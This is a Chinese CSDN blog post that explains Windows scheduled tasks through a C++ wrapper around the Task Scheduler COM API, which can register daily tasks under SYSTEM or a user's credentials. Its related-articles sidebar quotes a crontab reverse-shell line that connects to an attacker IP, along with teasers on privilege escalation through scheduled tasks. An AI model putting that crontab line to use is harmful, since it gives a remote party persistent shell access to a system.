1、计划任务介绍

最新推荐文章于 2024-10-15 14:04:56 发布
最新推荐文章于 2024-10-15 14:04:56 发布
阅读量516 收藏 5
点赞数 10
分类专栏： Windows开发 文章标签： 计划任务 windows
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/mingyueruya/article/details/136689381
版权

Windows计划任务介绍

1、含义：

简单点就是定时执行任务。

在许多场景下，我们定时执行一些任务。比如：定时拉取、备份文件，更新代码等等操作。

Win+R打开运行框，输入：control schedtasks，就会打开计划任务的UI。

在这里插入图片描述

2、代码介绍

虽然windows提供了schtasks程序可以创建计划任务，但是自定义程度还不是很高。

#ifndef win7taskscheduler_h
#define win7taskscheduler_h

#include <vector>
#include <utility>
#include <string>

#include <assert.h>

#include <comdef.h>
#include <taskschd.h>

#pragma comment(lib, "taskschd.lib")

using std::pair;
using std::vector;
using std::wstring;
using std::to_wstring;

namespace XIBAO {


class Win7TaskScheduler{

public:
	enum TaskMode:int {
		Normal = 1, // 普通模式，用户只有登录进去才会触发
		LOGON_PASSWD, // 输入用户名和密码的模式，这种模式不用登录也能触发
		SYSTEM  // system权限登录
	};


public:
	Win7TaskScheduler() {}
	~Win7TaskScheduler() {}

private:
class ITaskServiceHelper
{
public:
	ITaskServiceHelper()		{	p = NULL;	}
	~ITaskServiceHelper()		{	if ( p ) p->Release();	}

	ITaskService * p;
};

class ITaskFolderHelper
{
public:
	ITaskFolderHelper()			{	p = NULL;	}
	~ITaskFolderHelper()		{	if ( p ) p->Release();	}

	ITaskFolder * p;
};

class ITaskDefinitionHelper
{
public:
	ITaskDefinitionHelper()		{	p = NULL;	}
	~ITaskDefinitionHelper()	{	if ( p ) p->Release();	}

	ITaskDefinition * p;
};

class IRegistrationInfoHelper
{
public:
	IRegistrationInfoHelper()	{	p = NULL;	}
	~IRegistrationInfoHelper()	{	if ( p ) p->Release();	}

	IRegistrationInfo * p;
};

class IPrincipalHelper
{
public:
	IPrincipalHelper()			{	p = NULL;	}
	~IPrincipalHelper()			{	if ( p ) p->Release();	}

	IPrincipal * p;
};

class ITaskSettingsHelper
{
public:
	ITaskSettingsHelper()		{	p = NULL;	}
	~ITaskSettingsHelper()		{	if ( p ) p->Release();	}

	ITaskSettings * p;
};

class ITriggerCollectionHelper
{
public:
	ITriggerCollectionHelper()	{	p = NULL;	}
	~ITriggerCollectionHelper()	{	if ( p ) p->Release();	}

	ITriggerCollection * p;
};

class ITriggerHelper
{
public:
	ITriggerHelper()			{	p = NULL;	}
	~ITriggerHelper()			{	if ( p ) p->Release();	}

	ITrigger * p;
};

class IDailyTriggerHelper
{
public:
	IDailyTriggerHelper()			{	p = NULL;	}
	~IDailyTriggerHelper()			{	if ( p ) p->Release();	}

	IDailyTrigger * p;
};

class IRegistrationTriggerHelper
{
public:
	IRegistrationTriggerHelper(){	p = NULL;	}
	~IRegistrationTriggerHelper(){	if ( p ) p->Release();	}

	IRegistrationTrigger * p;
};

class IActionCollectionHelper
{
public:
	IActionCollectionHelper()	{	p = NULL;	}
	~IActionCollectionHelper()	{	if ( p ) p->Release();	}

	IActionCollection * p;
};

class IActionHelper
{
public:
	IActionHelper()				{	p = NULL;	}
	~IActionHelper()			{	if ( p ) p->Release();	}

	IAction * p;
};

class IExecActionHelper
{
public:
	IExecActionHelper()			{	p = NULL;	}
	~IExecActionHelper()		{	if ( p ) p->Release();	}

	IExecAction * p;
};

class IRegisteredTaskHelper
{
public:
	IRegisteredTaskHelper()		{	p = NULL;	}
	~IRegisteredTaskHelper()	{	if ( p ) p->Release();	}

	IRegisteredTask * p;
};

#define DO( action )		\
	if( FAILED( action ) )	\
{						\
	assert( FALSE );	\
	return FALSE;		\
}

public:
static HRESULT Create2MoreWin7(const wstring &appPath,
							const wstring &taskName,
							const wstring &taskDescription,
							const wstring &appWorkDir,
							const wstring &parameter,
							const vector<pair<int, int>> &vecTime,
							const wstring &userName,
							const wstring &passwd,
							int mode)
{
	CoInitialize(NULL);

	HRESULT hr = 0;
	ITaskServiceHelper iService;

    hr = CoCreateInstance( CLSID_TaskScheduler,
                           NULL,
                           CLSCTX_INPROC_SERVER,
                           IID_ITaskService,
						   (void**)&iService.p);
	
    //  Connect to the task service.
    DO( iService.p->Connect( _variant_t(), _variant_t(), _variant_t(), _variant_t()) )

    //  Get the pointer to the root task folder.  This folder will hold the
    //  new task that is registered.
	ITaskFolderHelper iRootFolder;
    DO( iService.p->GetFolder( _bstr_t( L"\\") , &iRootFolder.p ) )
    
	ITaskFolderHelper iNewFolder;
	IRegisteredTaskHelper iRegisteredTask;
	ITaskDefinitionHelper iTask;
	BOOL bTmp = FALSE;

	DO( iService.p->NewTask( 0, &iTask.p ) )
	// DO( iService->NewTask( 0, &iTask.p ) )

	IRegistrationInfoHelper info;
	DO(iTask.p->get_RegistrationInfo(&(info.p)))
	if (nullptr != info.p) { 
		(info.p)->put_Description(_bstr_t(taskDescription.c_str())); 
	}

	IActionCollectionHelper iActionCollection;
	DO( iTask.p->get_Actions( &iActionCollection.p ) )

	IActionHelper iAction;
	DO( iActionCollection.p->Create( TASK_ACTION_EXEC, &iAction.p ) )

	IExecActionHelper iExecAction;
	//  QI for the executable task pointer.
	DO( iAction.p->QueryInterface( 
		IID_IExecAction, (void**) &iExecAction.p ) )

		//  Set the path of the executable to notepad.exe.
	DO( iExecAction.p->put_Path( _bstr_t( appPath.c_str() ) ) )

	if(! parameter.empty())
	{
		DO( iExecAction.p->put_Arguments(_bstr_t(parameter.c_str())))
	}

	if(! appWorkDir.empty())
	{
		DO( iExecAction.p->put_WorkingDirectory(_bstr_t(appWorkDir.c_str())))
	}

	ITriggerCollectionHelper iTriggerCollection;
	DO( iTask.p->get_Triggers( &iTriggerCollection.p ) )

	ITaskSettingsHelper iTaskSettings; 
	DO( iTask.p->get_Settings(&iTaskSettings.p) )

	iTaskSettings.p->put_DisallowStartIfOnBatteries(VARIANT_BOOL(FALSE));
	iTaskSettings.p->put_StopIfGoingOnBatteries(VARIANT_BOOL(FALSE));

	{
		for (int i = 0; i < vecTime.size(); ++i) {
			ITriggerHelper iTrigger;
			DO( iTriggerCollection.p->Create( TASK_TRIGGER_DAILY,
												&iTrigger.p ) )

			IDailyTrigger *dailyTriger = nullptr;
			iTrigger.p->QueryInterface(IID_IDailyTrigger, 
										(void **)&dailyTriger);	
			if (nullptr != dailyTriger) {
				wstring triggerid = taskName + L"_" + to_wstring(i);
				dailyTriger->put_Id(_bstr_t(triggerid.c_str()));
				dailyTriger->put_DaysInterval(1);
				wstring strstarttime = L"2019-01-01T" + to_wstring(vecTime[i].first) + L":" + to_wstring(vecTime[i].second) + L":00";
				dailyTriger->put_StartBoundary(_bstr_t(strstarttime.c_str()));
				dailyTriger->put_EndBoundary(_bstr_t(L"2099-12-31T00:00:00"));
				dailyTriger->put_Enabled(true);
			}
		}
	}

	IPrincipalHelper iPrincipal;
	DO( iTask.p->get_Principal( &iPrincipal.p ) )
	DO(iPrincipal.p->put_RunLevel(TASK_RUNLEVEL_LUA))

		if (mode == TaskMode::SYSTEM)
		{

	hr = iRootFolder.p->RegisterTaskDefinition(
												_bstr_t(taskName.c_str()),
												iTask.p,
												TASK_CREATE_OR_UPDATE, 
												_variant_t(L"SYSTEM"),
												_variant_t(), 
												TASK_LOGON_SERVICE_ACCOUNT,
												_variant_t(L""),
												&iRegisteredTask.p);
	}
		else if (mode == TaskMode::LOGON_PASSWD)
		{
	hr = iRootFolder.p->RegisterTaskDefinition(
												_bstr_t(taskName.c_str()),
												iTask.p,
												TASK_CREATE_OR_UPDATE, 
												_variant_t(userName.c_str()),
												_variant_t(passwd.c_str()),
												TASK_LOGON_PASSWORD,
												_variant_t(L""),
												&iRegisteredTask.p);
		}
		else
		{
	hr = iRootFolder.p->RegisterTaskDefinition(
												_bstr_t(taskName.c_str()),
												iTask.p,
												TASK_CREATE_OR_UPDATE, 
												_variant_t(L""),
												_variant_t(L""),
												TASK_LOGON_INTERACTIVE_TOKEN,
												_variant_t(L""),
												&iRegisteredTask.p);
		}

	return hr;
}

static bool Delete2MoreWin7(const wstring &taskName)
{
	ITaskServiceHelper iService;
    HRESULT hr = CoCreateInstance( CLSID_TaskScheduler,
                           NULL,
                           CLSCTX_INPROC_SERVER,
                           IID_ITaskService,
						   (void**)&iService.p );
        
    DO( iService.p->Connect(_variant_t(), 
							_variant_t(), 
							_variant_t(), 
							_variant_t()))

	ITaskFolderHelper iRootFolder;
    DO( iService.p->GetFolder( _bstr_t( L"\\") , &iRootFolder.p ) )
    
	IRegisteredTaskHelper iRegisteredTask;
	ITaskDefinitionHelper iTask;

	hr = iRootFolder.p->GetTask(_bstr_t(taskName.c_str()),&iRegisteredTask.p);
	hr = iRootFolder.p->DeleteTask(_bstr_t(taskName.c_str()),0);

	return true;
}

};

};

#endif // win7taskscheduler_h


int main()
{
    result = Win7TaskScheduler::Create2MoreWin7(mAppPath,
                                                mTaskName,
                                                mTaskDescription,
                                                mAppWorkDir, 
                                                mParameter, 
                                                mVecTime,
                                                mUserName,
                                                mPassword,
                                                mode);
    return result;
}

这里的接口提供了删除、创建的接口。所以用起来还是非常容易上手。

3、注意事项

在执行计划任务的时候，如果你是system权限一定要注意权限的问题。很多软件在system下时获取的环境变量和正常用户获取的不一样，导致一些出乎意料的bug。

蓑衣夜行
关注
专栏目录
linux设置周期性计划任务,Linux中计划任务、周期性任务设置
weixin_32875295的博客
05-16 2642
Linux中计划任务、周期性任务设置计划任务：指在未来的特定时间里，执行一次某一特定任务。当然，如果同一任务需要在不同时间点执行执行两次、三次或多次，可以视为多个一次看待。周期性任务：指某一任务需要周期性的执行。周期性可以是以分、时、天等为单位，但又不限于这些单位。常用于执行计划任务的命令——at, batch, 与周期性任务相关的的命令crontabs。1.at命令和batch命令的区别。at命...
navicat mysql 计划任务_navicat创建MySql定时任务的方法详解
weixin_42099176的博客
01-28 2435
navicat创建MySql 定时任务详解事件(event)是MySQL在相应的时刻调用的过程式数据库对象。一个事件可调用一次，也可周期性的启动，它由一个特定的线程来管理的，也就是所谓的“事件调度器”。事件和触发器类似，都是在某些事情发生的时候启动。当数据库上启动一条语句的时候，触发器就启动了，而事件是根据调度事件来启动的。由于他们彼此相似，所以事件也称为临时性触发器。事件取代了原先只能由操作系统...
Linux 计划任务
2202_75529223的博客
09-29 2055
root@localhost ~]# at 6:00 pm +3 days #在 3 天以后的下午 6 点执行。[root@ localhost ~]# at 17:00 tomorrow #明天下午 5 点执行。[root@ localhost ~]# at now +10min #在 10 分钟后执行。cron 是一个 linux 下的定时执行工具，可以在无需人工干预的情况下周期性的运行方式。[root@ localhost ~]# at 20:00 2018-10-1 #某天。
Ubuntu计划任务反弹shell
18年3月萌新白帽子
08-19 4227
首先介绍一下实验环境 1.被攻击者：Ubuntu 192.168.0.8 2.攻击者：kali  192.168.0.127   首先第一步在Ubuntu系统下添加crontab 计划任务 * * * * * bash -i  &gt;&amp; /etc/tcp/192.168.0.127/8888 0&gt;&amp;1   第二步在kali系统下使用nc命令监听8888端口...
『vulnhub系列』dpwwn-1—Linux计划任务提权
内心不种满鲜花就会长满杂草
03-21 1975
如果存在以root权限执行的计划任务，且计划任务中存在脚本，并且脚本其他用户拥有写入权限则可以通过计划任务提权
浅析windows计划任务
rep_Su的博客
02-07 2215
win计划任务的变迁及其非常规排查 研究背景 在server2012上使用schtasks创建计划任务时，我们意外的发现，当分别使用参数/mo和/ri时，计划任务创建的方式有所不同，具体如下图： [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-uVJL2W2O-1612407201844)(./pic/1.png)] [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-usww3y7E-1612407201847)(./pic/2.png)] 我们在其
计划任务提权
一只web狗
06-30 1598
计划任务提权
基于win10计划任务运行ps1脚本
卖瓜小农的博客
07-08 3684
基于win10计划任务运行ps1脚本 计划任务 电脑右键管理中找，网上教程很多 创建任务，设置名称，任务运行权限等基本信息 触发条件，时间 运行程序，可以运行qq音乐，结合qq音乐软件设置打开自动播放可以实现自动播放，缺点暂时还不知道怎么确定播放计划的音乐，比如我想听每日推荐，但是任务列表不会自动更换 但是当运行ps1这个powershell脚本文件时，默认双击用记事本打开，网上介绍两种方法，创建快捷方式 尝试无效 故修改注册表文件 用powershell运行ps1文件 默认win10双击ps1文件用记事本
Spring 计划任务
StormMaybin的博客
01-28 2028
/** *@author StormMaybin *@date 2017-01-28 */ 生命不息，奋斗不止！ Spring 定时任务介绍 从spring 3.1开始，计划任务在Spring中的实现变得异常的简单，首先通过类注解@EnableScheduing 来开启对计划任务的支持！然后在要执行的计划任务上面添加@Scheduled，声明这是一个计划任务！ 计划执行类ScheduledT
计划任务唤醒计算机,亲测利用windows 10任务计划实现计算机定时开关机(休眠唤醒)...
weixin_30798713的博客
07-26 2745
利用任务计划实现计算机定时开关机 休眠唤醒 计算机如果具有定时开关机功能 是一件很吸引人的事情 但是一般的电脑要实现开 关机功能 需要有硬件的支持 所幸的是 在没有硬件支持的情况下 我们可以利用 windows 系统自带的任务计划程序任务计划程序和电脑的休眠功能休眠功能 实现计算的定时开关机 下面以 windows 10 为例进行介绍 工具工具 原料原料 电脑 windows 10 操作系统 方法...
用dos命令实现导入、导出windows计划任务详解
09-21
本文将详细介绍如何使用DOS命令来实现Windows计划任务的导入和导出。 首先，我们要了解导出计划任务的步骤。使用DOS命令，可以编写一个批处理脚本来完成这项工作。批处理文件通常包含一系列DOS命令，按照指定的顺序...
window server任务计划定时执行和解决显示执行成功其实未成功的问题
04-29
通过本文的介绍，我们可以了解到如何利用Windows Server中的任务计划程序实现自动化任务执行，以及如何解决执行过程中可能出现的问题。正确配置任务计划不仅可以提高系统的自动化水平，还能减少人工干预的需求，提升...
Windows中利用计划任务实现自动备份文件
09-30
本文将详细介绍如何使用计划任务和批处理脚本实现数据库文件夹的自动备份。 首先，我们要了解Windows计划任务是什么。计划任务是Windows操作系统中的一项功能，允许用户自动执行任务，如程序、脚本和文档。使用计划...
JAVA队列
2301_80062351的博客
10-13 713
1. 队列(Queue) 　 1.1 概念 　 1.2 队列的使用 　　 1.入队列 　　 2.出队列 　　 3.查找队头元素 　 1.3 队列模拟实现 　　 1.入队列 　　 2. 出队列 　　 3.查找 　　 4.判空和判断大小
【操作系统的使用】Linux 输入输出重定向：掌握控制台的高级用法
最新发布
她是不会无条件的！！
10-15 431
操作系统的使用 第二部分
c语言链表实现
2301_81172092的博客
10-12 882
c语言链表的实现以及易错点的标注
C语言01
2302_76384361的博客
10-14 385
/获取顺序表的大小，该接口直接获取顺序表的成员变量size并返回。//顺序表的索引，给出索引求值。//修改顺序表中指定位置的值。//顺序表的插入操作。//顺序表的查找操作。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值